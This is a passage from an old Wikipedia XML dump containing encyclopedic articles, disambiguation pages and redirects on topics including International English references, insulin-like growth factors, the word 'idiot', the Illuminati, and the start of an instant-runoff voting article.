* Malik, S.A. Primary Stage English (1993). Lahore: Tario Brothers. 
* McArthur, T. (Oxford, 1992) &quot;The Oxford Companion to the English Language,&quot; Oxford University Press, ISBN 019214183X 
* &amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash; (2001). &quot;World English and World Englishes: Trends, tensions, varieties, and standards&quot;, ''Language Teaching'' Vol.&amp;nbsp;34, issue&amp;nbsp;1. Available in PDF format at [http://journals.cambridge.org/bin/bladerunner?REQUNIQ=1102212066&amp;REQSESS=9188824&amp;118300REQEVENT=&amp;REQINT1=67661&amp;REQINT2=64801&amp;REQAUTH=0 Cambridge: Language Teaching: Sample article] and [http://ltsc.ph-karlsruhe.de/McArthur.pdf Learning and Teacher Support Centre: McArthur]. 
* &amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash; (2002). ''Oxford Guide to World English''. Oxford: Oxford University Press. ISBN 0198662483 hardback, ISBN 0198607717 paperback.
* [http://www.fulbright.kiev.ua/newsletters/08/p07en.html Tarnopolsky, Oleg. &quot;What Variety of English to Teach in Ukraine?&quot;] (A study suggesting that teaching both British English and American English is preferable to teaching an artificial &quot;International English&quot;.)
* Peters, Pam (2004). ''The Cambridge Guide to English Usage''. Cambridge: Cambridge University Press. ISBN 052162181X.
* Phillipson, Robert (1992). ''Linguistic Imperialism.'' Oxford: Oxford University Press. ISBN 0194371468.
* [http://www.geocities.com/dspichtinger/Uni/sp-dipl3.pdf Spichtinger, David (2000). &quot;The Spread of English and its Appropriation.&quot; Diplomarbeit zur Erlangung des Magistergrades der Philosophie eingereicht an der Geisteswissenschaftlichen Fakultät der Universität Wien.] (PDF.)
*Punjab Text Book Board (1997) My English Book Step IV. Lahore: Metro Printers. 
*[http://www-writing.berkeley.edu/TESL-EJ/ej18/f1.html ***TESL-EJ Forum***: Varieties of English: Definition and Instruction]
*[[Henry Widdowson]] (1998a) &quot; EIL: squaring the Circles. A Reply.&quot; World Englishes 17/3 397-401.

===Closely identified or synonymous with standard British English===

* [http://www.bfbs.org.uk/britishisles/anglicisation.html Bible Society: Machine Assisted Translations: Anglicisations] (&quot;The standard English of India, Canada, Australia, New Zealand, South Africa, the Commonwealth and some other countries where English is used follows the conventions of '''British English'''. It is often therefore called '''International English''' to distinguish it from '''American English'''.&quot;)
* [http://www.gscassociates.com/pubs/VRML_P1C.html Carson, George&amp;nbsp;S., Puk, Richard&amp;nbsp;F., Carey, Rikk (1998). &quot;Development of the VRML 97 International Standard&quot;]. (&quot;International Standards are written in International English, not American English. The most obvious difference is many minor variations in the way words are spelled, for example &quot;colour&quot; rather than &quot;color&quot;, &quot;centre&quot; rather than &quot;center&quot; and &quot;behaviour&quot; rather than &quot;behavior.&quot; Although ISO granted a special exception to allow VRML to be published initially in American English if necessary to expedite its publication, both sides decided to convert most of the document to International English. The only exceptions were affecting the syntax of a VRML file, such as node names like &quot;Color&quot; and &quot;ColorInterpolator&quot;, where a change to &quot;Colour&quot; and ColourInterpolator&quot; would have made existing VRML files incompatible with the new standard.&quot;)
* [http://www.victoriagroup.com/pdfs/9K2KHandbook.pdf Goult, Roderick S.&amp;nbsp;W. (2004). ''Introduction to ISO 9000:2000 Handbook.'' Edition of August, 2004. Methuen, MA: The Victoria Group.] (PDF. From page 6: &quot;An ISO standard which has been 'adopted' by a national standards body of a country will undergo some minor changes for reasons of translation, use of language or local interpretation. Hence, in the ANSI/ISO/ASQ standards, the spelling varies from international English, and the words 'International Standard' have been changed to 'American National Standard.'&quot;)
* [http://www.office.xerox.com/perl-bin/product.pl?product=Z740&amp;page=prnt Xerox: Phaser 740/740L: Product Brochures ] (Brochures available for download in either &quot;U.S. English&quot; or &quot;International English&quot;.)

[[Category:English dialects]]
[[Category:English language]]
[[Category:Forms of English]]</text>
    </revision>
  </page>
  <page>
    <title>International African Institute</title>
    <id>14997</id>
    <revision>
      <id>33554742</id>
      <timestamp>2006-01-02T04:02:31Z</timestamp>
      <contributor>
        <username>Malepheasant</username>
        <id>345020</id>
      </contributor>
      <comment>[[Category:1926 establishments]]</comment>
      <text xml:space="preserve">The '''International African Institute''' (IAI) was founded (as the '''International Institute of African Languages and Cultures''') in [[1926]] in [[London]] for the study of [[African Languages]]. [[Diedrich Hermann Westermann]] was co-director from 1926 to ????.

The IAI has published a quarterly journal, ''Africa'', since 1928.

==External links==
[http://www.iaionthe.net/ IAI website].
{{org-stub}}

[[Category:1926 establishments]]</text>
    </revision>
  </page>
  <page>
    <title>IAI</title>
    <id>14998</id>
    <revision>
      <id>27620756</id>
      <timestamp>2005-11-07T13:17:46Z</timestamp>
      <contributor>
        <username>Kevin Maloney</username>
        <id>489281</id>
      </contributor>
      <comment>alphbetical and added International Association for Identification</comment>
      <text xml:space="preserve">'''IAI''' is an acronym for:
*[[Inter-American Institute for Global Change Research]]
*[[International African Institute]]
*[[International Association for Identification]]
*[[Israel Aircraft Industries]] (''Ha-Taasiya Ha-Avirit'')

{{TLAdisambig}}</text>
    </revision>
  </page>
  <page>
    <title>Insulin-like growth factor</title>
    <id>15000</id>
    <revision>
      <id>41392828</id>
      <timestamp>2006-02-27T01:00:56Z</timestamp>
      <contributor>
        <username>Alteripse</username>
        <id>57690</id>
      </contributor>
      <comment>/* See also */ remove dead link</comment>
      <text xml:space="preserve">The '''insulin-like growth factors''' (IGFs) are [[polypeptide]]s with high [[Homology (biology)|sequence similarity]] to [[insulin]]. IGFs are part of a complex system that cells use to communicate with their [[physiology|physiologic]] environment.  This complex system (often referred to as the IGF &quot;axis&quot;) consists of two [[cell-surface receptor]]s (IGF1R and IGF2R), two [[ligand]]s (IGF-I and IGF-II), a family of six high-affinity IGF binding [[protein]]s (IGFBP 1-6), as well as associated IGFBP degrading [[enzyme]]s, referred to collectivly as [[protease]]s.  

This system is important for both the regulation of normal physiology, as well as a number of pathological states, including [[cancer]].  The IGF axis has been shown to play roles in the promotion of [[cell proliferation]] and the inhibition of [[cell death]] ([[apoptosis]]). IGF-II is thought to be a primary [[growth factor]] required for early development while IGF-I expression is seen in later life. [[Gene knockout]] studies in mice have confirmed this, though other animals are likely to regulate the expression of these genes in distinct ways. While IGF-2 may be primarily [[fetus|fetal]] in action it is also essential for development and function of organs such as the [[brain]], [[liver]] and [[kidney]].

[[Insulin-like growth factor 1]] (IGF-1) is mainly secreted by the liver as a result of stimulation by [[growth hormone]] (hGH). Almost every [[cell (biology)|cell]] in the human body is affected by IGF-1, especially cells in [[muscle]], [[cartilage]], [[bone]], liver, kidney, [[nerve|nerves]], [[skin]], and [[lungs]]. In addition to the insulin-like effects, IGF-1 can also regulate [[cell growth]] and development, especially in nerve cells, as well as cellular [[DNA]] synthesis.

IGF-II is secreted by the brain, kidney, [[pancreas]] and muscle in [[mammal]]s. It is more specific in action than IGF-1. In adult humans it is found at 600 times the concentration of insulin.

IGF-1 and IGF-II are regulated by a family of genes known as the [[IGF-Binding Proteins.]]  These proteins help to modulate IGF action in complex ways that involve both inhibiting IGF action by preventing binding to the IGF-1 receptor as well as promoting IGF action possibly through aiding in delivery to the receptor and increasing IGF half-life.  Currently, there are 6 characterized IGF Binding Proteins (IGFBP1-6).  There is currently significant data suggesting that IGFBPs play important roles in addition to their ability to regulate IGFs.

Studies of recent interest show that the IGF axis play an important role in [[Senescence|aging]]. [[Nematode]]s, [[Drosophila melanogaster|fruit-flies]] and other organisms have an increased life span when the gene equivalent to the mammalian IGF is [[Gene knockout|knocked out]]. Clearly the IGF/Insulin axis has an ancient [[evolution|evolutionary]] origin. Other studies are beginning to uncover the important role the IGFs play in diseases such as [[cancer]] and [[diabetes]], showing for instance that IGF-1 stimulates growth of both prostate and breast cancer cells&lt;sup&gt;1-3&lt;/sup&gt;.  Researchers are not in complete agreement about the degree of cancer risk that IGF-1 poses.

Further work is required to determine the main [[receptor (biochemistry)|receptors]] used by these growth factors to elicit their effects. Currently the IGF's are known to bind the insulin receptor, IGF-1 receptor, IGF-2 receptor, the insulin-related receptor and possible other receptors.  IGF-1 and IGF-2 strongly bind to and activate the IGF-1 receptor, with weaker binding and action occurring through insulin receptors.  The IGF-2 receptor only binds IGF-2 and acts as a &quot;clearance receptor&quot; - it activates no intracellular signalling pathways, functioning only as an IGF-2 sequestering agent and preventing IGF-2 signalling.

IGF-1 is present in [[milk]], especially when the cow has been treated with [[Bovine somatotropin|bovine growth hormone]].

==See also==
*[[insulin-like growth factor 1]]&lt;br/&gt;
*[[insulin-like growth factor 2]]
*[[HGH quackery]]

==References==
# Cohen, Pinchas, et al. &quot;[http://jcem.endojournals.org/cgi/content/abstract/73/2/401 Insulin-like growth factors (IGFs), IGF receptors, and IGF-binding proteins in primary cultures of prostate epithelial]&quot;. ''Journal of Clinical Endocrinology and Metabolism'', Vol. 73, No. 2, 1991, pp. 401-07
# Lippman, Marc E. &quot;The development of biological therapies for breast cancer&quot;. ''Science'', Vol. 259, [[January 29]] [[1993]], pp. 631-32
# Papa, Vincenzo, et al. &quot;Insulin-like growth factor-I receptors are overexpressed and predict a low risk in human breast cancer&quot;. ''Cancer Research'', Vol. 53, 1993, pp. 3736-40

[[Category:biochemistry]]
[[Category:endocrinology]]

[[he:פקטורים מעוררי צמיחה]]
[[ja:インスリン様成長因子]]</text>
    </revision>
  </page>
  <page>
    <title>IGF</title>
    <id>15001</id>
    <revision>
      <id>39359308</id>
      <timestamp>2006-02-12T17:15:03Z</timestamp>
      <contributor>
        <ip>81.65.0.143</ip>
      </contributor>
      <text xml:space="preserve">The [[TLA]] '''IGF''' can refer to:
* [[insulin-like growth factor]]
* [[Internet Governance Forum]]
* [[Independent Games Festival]]
* [[International Golf Federation]]

{{TLAdisambig}}</text>
    </revision>
  </page>
  <page>
    <title>IGF-1</title>
    <id>15002</id>
    <revision>
      <id>15912519</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Insulin-like growth factor]]
</text>
    </revision>
  </page>
  <page>
    <title>Mental deficiency</title>
    <id>15003</id>
    <revision>
      <id>15912520</id>
      <timestamp>2004-08-22T18:20:51Z</timestamp>
      <contributor>
        <username>Sam Spade</username>
        <id>29048</id>
      </contributor>
      <comment>#REDIRECT [[Mental retardation]]</comment>
      <text xml:space="preserve">#REDIRECT [[Mental retardation]]</text>
    </revision>
  </page>
  <page>
    <title>Idiot</title>
    <id>15004</id>
    <revision>
      <id>42112315</id>
      <timestamp>2006-03-03T22:23:52Z</timestamp>
      <contributor>
        <username>RexNL</username>
        <id>241337</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/88.110.52.195|88.110.52.195]] ([[User talk:88.110.52.195|talk]]) to last version by Hansnesse</comment>
      <text xml:space="preserve">The word '''idiot''', is derived from the [[Greek language|Greek]] word &amp;iota;&amp;delta;&amp;iota;&amp;omega;&amp;tau;&amp;eta;&amp;sigmaf;, ''idiôtès'', &quot;a private citizen, individual&quot;, from &amp;iota;&amp;delta;&amp;iota;&amp;omicron;&amp;sigmaf;, ''idios'', &quot;private&quot;. It was originally used in the ancient Greek [[city-state]]s to refer to people who were overly concerned with their own self-interest and ignored the needs of the community. These people were seen as having bad judgement in public and political matters. Over time, the term &quot;idiot&quot; shifted away from its original connotation of selfishness and came to refer to individuals with overall ''bad judgement'' - that is, individuals who are [[stupid]].

In modern [[English language|English]] usage, the terms '''idiot''' and '''idiocy''' describe an extreme folly or stupidity, its symptoms (foolish or stupid utterance or deed) or, in psychology, the state or condition of an idiot, i.e. profound mental retardation.

==Antiquity==   
*In [[Athens]], an ''idiotès'' was a person who 'kept to himself' by declining to take part in public life, such as democratic city state government. Since such activities were considered honorable and could directly affect all citizens, &quot;idiot&quot; became a term of derision. See [[Athenian democracy]].    
* In [[Hellenistic civilization|hellenistic]] [[Egypt]], ''idiotès'' was simply a term for soldier (and etymologically parallel to that word deriving from sold 'pay'), derived from the ''idios logos'', the royal treasury that paid them.

==Handicap==
In [[19th century|19th]] and early [[20th century]] [[medicine]] and [[psychology]], an &quot;idiot&quot; was a person with a very severe [[mental retardation]] or a very low [[IQ]] level. Idiots were defined as people whose IQ were below 20 (with a standard deviation of 16). In the current classification, these people are now said to have [[profound mental retardation]], but the word &quot;idiot&quot; is no longer used as a scientific term.

==Use as an abuse==
In modern [[English language|English]] and other languages, idiot is also a derogatory term used to [[insult]]. Its use usually means &quot;You are [[Stupidity|stupid]].&quot;  It's socially acceptable, for example, to refer to a group of drunken folks 'acting up' in a bar as &quot;idiots&quot;. 

Paradoxically, however, 'idiot' cannot easily be used to describe someone who is genuinely mentally retarded. In the [[21st Century]] such use would be seen as insensitive, hurtful, or [[political correctness|politically incorrect]].

A select number of authors have used &quot;idiot&quot; characters in novels, plays and poetry. Often these characters are used to highlight or indicate something else, that is, often these characters are an allegorical technique. Examplars of such usage are [[William Faulkner]]'s ''[[The Sound and the Fury]]'' and [[William Wordsworth]]'s ''[[The Idiot Boy]]''. Idiot characters in literature are often confused with or subsumed within mad or lunatic characters. The most common imbrication between these two categories of mental impairment occurs in the polemic surrounding Edmund from [[Shakespeare]]'s ''[[King Lear]]''. In [[Dostoyevsky]]'s novel [[The Idiot]], the idiocy of the main character, Prince Myshkin, is attributed more to his honesty, trustfulness, kindness, and humility, than to his mental disability. This somewhat parallels the use of the word &quot;idiot&quot; in colloquial [[Russian language|Russian]] to characterize the naive optimist and the &quot;do gooder&quot;.

==Other uses==   
*[[The Idiot]] is a classic in world literature, in Russian, by Dostoyevsky; an online-edition (translated in English) is [http://www.online-literature.com/dostoevsky/idiot/]   
* In June of [[2005]], New York State Assemblyman [[Will Stephens]] sent an e-mail to his constituents referring to them as 'pontificating idiots'.   
* &quot;Idiot box&quot; is a slang term for [[television]], or for a [[dialog box]] on a computer.   
* &quot;Walk Idiot Walk&quot; is a song performed by the rock music group [[The Hives]] and released on the band's [[2004]] album, ''Tyrannosaurus Hives''.  
* &quot;Idiot savant&quot; was the original term for [[savant syndrome]], used to describe people who excel in one particular thing while being below-average in other mental or behavioral areas. Many of these people are also [[autistic savant]]s.   
* In [[2004]], [[Red Sox]] [[outfielder]] [[Johnny Damon]] affectionately referred to his team as &quot;The Idiots&quot; to describe its eclectic roster and devil-may-care attitude toward &quot;[[Curse of the Bambino|the curse]]&quot;.   
* &quot;[[Idiot light]]s&quot; was a pejorative term used in the 1960's and 1970's referring to the low oil pressure and alternator fault lights on an automobile dashboard. The implication of the term was that knowledgeable drivers use real gauges and don't need warning lamps. The present and almost universal use of warning lamps in automobiles has caused the term to fall into disuse.   
* The Idiot's Guide to Everything was released in 2003 as a methodological approach to describing literally everything imaginable. It was not a huge success.

==Quotes==
*&quot;Reader, suppose you were an idiot. And suppose you were a member of [[Congress of the United States|Congress]]. But I repeat myself.&quot; ([[Mark Twain]], c.[[1882]]) [http://www.etymonline.com/index.php?term=idiot]

==External links and references==
*[http://dictionary.reference.com/search?q=idiot Dictionary.Reference.Com] &quot;Middle English, ignorant person, from Old French ''idiote'' (modern French idiot), from Latin ''idiota'', from Greek ''idiotès'', private person, layman, from ''idios'', own, private.&quot;
*[http://www.etymonline.com/index.php?term=idiot Etymonline] &quot;c.1300, &quot;person so mentally deficient as to be incapable of ordinary reasoning,&quot; from Old French ''idiote'' &quot;uneducated or ignorant person,&quot; from L. ''idiota'' &quot;ordinary person, layman,&quot; in Late Latin &quot;uneducated or ignorant person,&quot; from Greek ''idiotes'' &quot;layman, person lacking professional skill,&quot; literally &quot;private person,&quot; used patronizingly for &quot;ignorant person,&quot; from ''idios'' &quot;one's own.&quot;
*[[Pauly-Wissowa]] (in German)

[[Category:Disability]]
[[Category:Pejorative terms for people]]

[[de:Idiot]]
[[eo:Idioto]]
[[fi:Idiootti (loukkaus)]]
[[nl:Idioot]]
[[sr:Идиот]]
[[sv:Idiot]]</text>
    </revision>
  </page>
  <page>
    <title>Illuminati</title>
    <id>15006</id>
    <revision>
      <id>42143849</id>
      <timestamp>2006-03-04T02:44:32Z</timestamp>
      <contributor>
        <ip>69.104.142.200</ip>
      </contributor>
      <text xml:space="preserve">{{Otheruses}}
The '''Illuminati''' is the name of many groups, modern and historical, real and fictitious, verified and alleged. Most commonly, however, ''The Illuminati'' refers specifically to the ''[[Bavaria|Bavarian]] Illuminati'', perhaps the least secret of all [[Secret society|secret societies]] in the world, described below. Most use refers to an alleged shadowy [[conspiracy theory|conspiratorial]] organization which controls world affairs behind the scenes, usually a modern incarnation or continuation of the Bavarian Illuminati. ''Illuminati'' is sometimes used synonymously with [[New World Order (conspiracy)|New World Order]].

== Origins ==
Since ''Illuminati'' literally means 'enlightened ones' in [[Latin]], it is natural that several unrelated historical groups have identified themselves as ''Illuminati''.  Often, this was due to claims of possessing [[Gnosticism| gnostic]] texts or other arcane information not generally available. 

The designation ''illuminati'' was in use from the [[14th century]] by the [[Brethren of the Free Spirit]]. In the [[15th century]] the name was adopted by other enthusiasts who claimed that the illuminating light came, not by communication from an authoritative or secret source, but from within, as the result of exalted consciousness, or &quot;[[Enlightenment (concept)|enlightenment]]&quot;.

=== Alumbrados of Spain ===
To the gnostic class belong the ''alumbrados'' of Spain. The historian [[Marcelino Menéndez y Pelayo]] found the name as early as [[1492]] (in the form ''aluminados'', [[1498]]), and traced the group to a Gnostic origin. He thought their views were promoted in [[Spain]] through influences from [[Italy]]. One of their earliest leaders, born in [[Salamanca]], was a labourer's daughter known as [[La Beata de Piedrahita]]. She came to the notice of the [[Spanish inquisition|Inquisition]] in [[1511]], by claiming to hold colloquies with [[Jesus]] and the [[Mary, the mother of Jesus|Virgin Mary]]; some high patronage saved her from a rigorous denunciation. (Menéndez Pelayo, ''Los Heterodoxos Españoles'', [[1881]], vol. V.). [[Ignatius Loyola]], while studying at Salamanca in [[1527]], was brought before an ecclesiastical commission on a charge of sympathy with the ''alumbrados'', but escaped with an admonition.
Others were not so fortunate. In [[1529]] a congregation of naïve adherents at Toledo was subjected to whippings and imprisonment. Greater rigors followed, and for about a century alleged connection with the ''alumbrados'' sent many to the Inquisition, especially at [[Córdoba, Spain|Córdoba]].

===Illuminés of France===
The movement (under the name of ''Illuminés'') seems to have reached [[France]] from [[Seville]] in [[1623]], and attained some following in [[Picardy]] when joined ([[1634]]) by [[Pierce Guerin]], curé of Saint-Georges de Roye, whose followers, known as [[Gurinet]]s, were suppressed in [[1635]].

A century later, another, more obscure body of ''Illuminés'' came to light in the south of France in [[1722]], and appears to have lingered till [[1794]], having affinities with those known contemporaneously in [[Britain]] as 'French Prophets', an offshoot of the [[Camisards]]

=== Rosicrucians ===
Different from the lluminés were the [[Rosicrucians]], who claimed to have originated in [[1407]], but rose to notice in [[1614]] when their main text ''Fama Fraternitatis'' appeared. As a [[secret society]], they claimed to combine the possession of esoteric principles of [[religion]] with the mysteries of [[alchemy]]. Their positions are described in three anonymous treatises from [[1614]] (mentioned in Richard and Giraud, ''Dictionnaire universel des sciences ecclésiastiques'', Paris 1825), as well as in the ''Confessio Fraternitatis'' of 1615. Rosicrucians also claimed heritage from the [[Knights Templar]].

=== Martinists ===
Later, the title '''Illuminati''' was applied to the [[French Martinists]], which had been founded in [[1754]] by [[Martinez Pasqualis]], and to their imitators the [[Russian Martinists]], headed about [[1790]] by Professor Schwartz of [[Moscow]]; both were [[occultist]] [[Kabbalah|cabalists]] and [[allegorists]], absorbing eclectic ideas from [[Jakob Boehme]] and [[Emanuel Swedenborg]].

== The Bavarian Illuminati ==
=== History ===
A movement of [[freethought|freethinkers]] that were the most radical offshoot of [[The Enlightenment]]&amp;nbsp;&amp;mdash; whose adherents were given the name ''Illuminati'' (but who called themselves &quot;Perfectibilists&quot;)&amp;nbsp;&amp;mdash; was founded on [[May 1]], [[1776]] by Jesuit-taught [[Adam Weishaupt]] (d. [[1830]]), who was the first lay professor of [[canon law]]. The group has also been called the ''Illuminati Order'', the ''Order of the Illuminati'', the ''Ancient Illuminated Seers of Bavaria'', and the ''Bavarian Illuminati''.

In the conservative state of [[Bavaria]], where the progressive and enlightened elector [[Maximilian III Joseph]] von [[Wittelsbach]] was succeeded (1777) by his conservative heir [[Karl Theodor]], and which was dominated by the [[Roman Catholic Church]] and the [[aristocracy]], such an organization did not last long before it was suppressed by the powers of the day. In [[1784]], the Bavarian government banned all [[secret societies]], including the Illuminati and the [[Freemason]]s. The structure of the Illuminati soon collapsed, but while it was in existence many influential intellectuals and progressive politicians counted themselves as members.

Its members were supposedly drawn primarily from [[Freemasonry|Masons]] and former Masons, and although some Masons were known to be members there is no evidence that it was supported by Freemasons. The members pledged obedience to their superiors, and were divided into three main classes: the first, known as the ''Nursery'', encompassed the ascending degrees or offices of ''Preparation'', ''Novice'', ''Minerval'' and ''Illuminatus Minor''; the second, known as the ''Masonry'', consisting of the ascending degrees of ''Illuminatus Major'' and ''Illuminatus dirigens'', the latter also sometimes called ''Scotch Knight''; the third, designated the ''Mysteries'', was subdivided into the degrees of the ''Lesser Mysteries'' (''Presbyter'' and ''Regent'') and those of the ''Greater Mysteries'' (''Magus'' and ''Rex'').  Relations with Masonic lodges were established at [[Munich]] and [[Freising]] in [[1780]].

The order had its branches in most countries of the European continent; its members were reportedly around 3,000-4,000 members in the span of 10 years. The scheme had its attraction for literary men, such as [[Goethe]] and [[Johann Gottfried Herder|Herder]], and even for the reigning dukes of [[Gotha (district)|Gotha]] and [[Weimar]]. Internal rupture preceded its downfall, which was effected by an edict of the Bavarian government in [[1785]].

=== Cultural effect ===
The Bavarian Illuminati have cast a long shadow in popular history thanks to the writings of their opponents; the lurid allegations of [[conspiracy]] that have colored the image of the [[Freemasons]] have practically opaqued that of the Illuminati. In 1797, Abbé [[Augustin Barruél]] published ''Memoirs Illustrating the History of Jacobinism'' outlining a vivid [[conspiracy theory]] involving the [[Knights Templar]], the [[Rosicrucian]]s, the [[Jacobinism|Jacobins]] and the Illuminati. A [[Scotland|Scottish]] Mason and professor of natural history named [[John Robison]] started to publish ''Proofs of a Conspiracy Against all the Religions and Governments of Europe'' in 1798. Robison claimed to present evidence of an Illuminati conspiracy striving to replace all religions with [[humanism]] and all nations with a single world government.

More recently, [[Antony C. Sutton]] suggested that the secret society [[Skull and Bones]] was founded as the American branch of the Illuminati; others think [[Scroll and Key]] had Illuminati origins, as well. Writer [[Robert Gillette]] claimed that these Illuminati ultimately intend to establish a [[world government]] through [[assassination]], [[bribery]], [[blackmail]], the control of [[bank]]s and other financial powers, the [[infiltration]] of [[government]]s, [[mind control]], and by causing [[war]]s and [[revolution]] to move their own people into higher positions in the [[politics|political]] [[hierarchy]].

[[Thomas Jefferson]], on the other hand, claimed they intended to spread information and the principles of true [[morality]]. He attributed the secrecy of the Illuminati to what he called &quot;the tyranny of a despot and priests&quot;.

Both seem to agree that the enemies of the Illuminati were the [[monarch]]s of [[Europe]] and the [[Church]]; Barruél claimed that the [[French revolution]] ([[1789]]) was engineered and controlled by the Illuminati through the [[Jacobinism|Jacobins]], and later conspiracy theorists have also claimed their responsibility for the [[Russian Revolution of 1917|Russian Revolution]] ([[1917]]), although the order was officially shut down in [[1790]].  Few historians give credence to these views; they regard such claims as the products of over-fertile imaginations.

Several sources suggest that the Bavarian Illuminati survived, and perhaps even exists today. Conspiracy theorists highlight the link between the Illuminati and Freemasonry. It is also suggested that the United States' founding fathers&amp;nbsp;&amp;mdash; some being Freemasons&amp;nbsp;&amp;mdash; were rife with corruption from the Illuminati.  Often the symbol of the all-seeing pyramid in the [[Great Seal of the United States]] is cited as an example of the Illuminati's ever-present watchful eye over Americans.

Very little reliable evidence can be found to suggest that Weishaupt's group survived into the 19th century.  However, several groups have since used the name ''Illuminati'' to found their own rites, claiming to be ''the'' Illuminati. Such groups include the Grand Lodge Rockefeller of David Goldman (USA), Orden Illuminati of Gabriel López de Rojas (Spain), and The Illuminati Order of Solomon Tulbure (USA).

In 1995, Gabriel López de Rojas founded Illuminati Order in Barcelona, Spain, elaborating the Operative Rite of The Illuminati of Bavaria. This Rite is based on the Rite of the Illuminati and high degrees of [[Scottish Rite]] of 33 degrees.

The System of its Illuminati Grand Master, Gabriel López de Rojas, is the Redism. This system is based on the [[lemma]] ''HOMO EST DEUS'', or &quot;man is god&quot;.

Groups describing themselves as Illuminati say they have members and chapters (lodges) throughout the world.

About the time that the Illuminati were outlawed in Bavaria, the Roman Catholic Church prohibited its members from joining Masonic lodges, on pain of excommunication.  This was done as a general edict, since the Church believed many lodges to have been infiltrated and subverted by the Illuminati, but was not able to accurately ascertain which ones.  This rule was relaxed only in the late 20th century.



== See also ==
* [[Alex Jones (journalist)]] - claims that the governments of today are in collaboration to create a [[New World Order (conspiracy)|New World Order]]
* [[Conspiracy theory]]
* [[Council on Foreign Relations]]
* [[David Icke]] - maintains that the world is ruled by a secret group called &quot;The Elite&quot;, or &quot;Illuminati&quot;
* [[Freemasonry]]
* [[Illuminati in popular culture]]
* [[Illuminus]]
* [[Jordan Maxwell]]
* [[New World Order (conspiracy)|New World Order]]
* [[Robert Anton Wilson]]
* [[Secret Society]]

== References ==
*[[1911 Encyclopædia Britannica]]:'' &quot;Illuminati&quot;''
*America's Secret Establishment: An Introduction to the Order of Skull &amp; Bones &amp;mdash; Antony C. Sutton (Trine Day, LLC, 2003)
*Behold a Pale Horse &amp;mdash; Cooper, Milton William (Light Technology Publishing, 1991)
*The Cosmic Conspiracy &amp;mdash; Deyo, Stan (Adventures Unlimited Press, Illinois, 1994)
*The Illuminati 666 &amp;mdash; Sutton, Josiah William (Teach Services, Inc, New York, 1983).
*Proof of a Conspiracy Against all the Religions and Governments of Europe &amp;mdash; Robison, John A.M. (New York, 1798)
*They Cast No Shadows: A Collection of essays on the Illuminati, revisionist history and suppressed technology &amp;mdash; [[Brian Desborough|Desborough, Brian]](Writers Club Press/ iUniverse.com, 2002) ISBN 0595219578
*{{cite book | author=Barkun, Michael | title=A Culture of Conspiracy: Apocalyptic Visions in Contemporary America | publisher=University of California Press, Berkeley | year=2003 | editor= | id=ISBN 0520238052}}

==External links==
*[http://www.atheists.org/Atheism/roots/enlightenment/ ''The Enlightenment, Freemasonry, and The Illuminati'' by Conrad Goeringer]
*[http://thomasinechurch.org/ Thomasine Church]
* [http://100777.com/myron ''The Illuminati and the CFR by Myron Fagan]
* [http://s11.invisionfree.com/Novus_Ordo_Random An Illuminati-based RPG]
* [http://freemasonry.bcy.ca/texts/Illuminati.html ''A Bavarian Illuminati Primer'' by Trevor W. McKeown]
*[http://www.conspiracyarchive.com/ Illuminati Conspiracy Archive]
*[http://anti-masonry.info/alt.illuminati_FAQ.html alt.illuminati FAQ]
*[http://www.luisprada.com/Protected/the_illuminati_and_the_galactic_federation.htm The Illuminati and the Galactic Federation]
* [http://www.newadvent.org/cathen/07661b.htm The Catholic Encyclopedia entry on Illuminati]
*[http://novusordoseclorum-oai.org O.A.I.]
*[http://www.abovetopsecret.com/forum/thread38424/pg1 Origins of the Illuminati?] A Discussion
*[http://www.abovetopsecret.com/forum/thread70060/pg1 The Illuminati: Who Are They Now?]
*[http://www.rawilson.com/ The Robert Anton Wilson Website]
*[http://www.obeyyourfear.com/ Conspiracy Rock Liverpool music group]

===Groups identifying themselves as Illuminati===
* [http://www.luminist.org Church of Gnostic Luminism]
* [http://www.ordeniluminati.com Orden Illuminati]
* [http://illuminati-order.com The Illuminati Order]
* [http://www.illuminati13.org/ Illuminati Order]
* [http://www.illuminatiorder.net/pages/illuminati/ Illuminati Order USA]
* [http://www.geocities.com/radicalmagi Union of Radical Magi: Illuminism for the 21st Century]

[[Category:Secret societies]]
[[Category:Conspiracy theories]]

[[bg:Илюминати]]
[[da:Illuminati]]
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[[ja:イルミナティ]]
[[pt:Illuminati]]
[[ru:Иллюминаты]]
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[[zh:光明帮]]</text>
    </revision>
  </page>
  <page>
    <title>Isma'ilis</title>
    <id>15008</id>
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      <timestamp>2003-11-08T11:00:00Z</timestamp>
      <contributor>
        <username>Minesweeper</username>
        <id>7279</id>
      </contributor>
      <minor />
      <comment>fix double redir</comment>
      <text xml:space="preserve">#REDIRECT [[Ismaili]]</text>
    </revision>
  </page>
  <page>
    <title>Ismailis</title>
    <id>15009</id>
    <revision>
      <id>15912525</id>
      <timestamp>2003-10-30T21:09:06Z</timestamp>
      <contributor>
        <username>(</username>
        <id>7041</id>
      </contributor>
      <comment>appended text to [[Ismaili]]</comment>
      <text xml:space="preserve">#redirect [[Ismaili]]</text>
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  </page>
  <page>
    <title>Indus</title>
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      <contributor>
        <username>Spartian</username>
        <id>952421</id>
      </contributor>
      <text xml:space="preserve">'''Indus''' has several meanings:
*The '''Indus''' is a river; the [[Indus River]].
*The '''[[Indus Valley Civilization]]''' was an ancient civilization that grew from the Indus River valley.
*The '''[[Indus script]]''' is an ancient script used in [[India]] and [[Pakistan]].
*At the '''[[Battle of Indus]]''', [[Mingburnu]] of [[Persian Empire|Persia]] fought [[Genghis Khan]].
*The '''[[Indus (constellation)]]''', named after Indus (the Indian), is a southern [[constellation]]. 
*'''[[Indus Airways]]''' a domestic air carrier, based in India.
*The '''[[Talk:Nelms#The_barque_INDUS|Indus]]''' was a ship used to transport emigrants from England to Australia.
*'''IndUS''' is an Indian youth group.
*'''[[Indus programming language|Indus]]''' is a [[concurrent programming language]]
{{disambig}}

[[he:אינדוס]]
[[nl:Indus]]
[[sk:Indus]]</text>
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  <page>
    <title>Instant-runoff voting</title>
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      <text xml:space="preserve">{{cleanup-date|December 2005}}
'''Instant-Runoff Voting''' (IRV), '''Alternative Vote''' (AV), '''Ranked Choice Voting''' (RCV), or the '''Hare system''' is a [[voting system]] normally used for single-winner elections utilizing a ranked ballot. In Australia and New Zealand it is referred to as '''Preferential Voting''' &amp;mdash; although this term may be misleading because it is not the only [[preferential voting]] system.
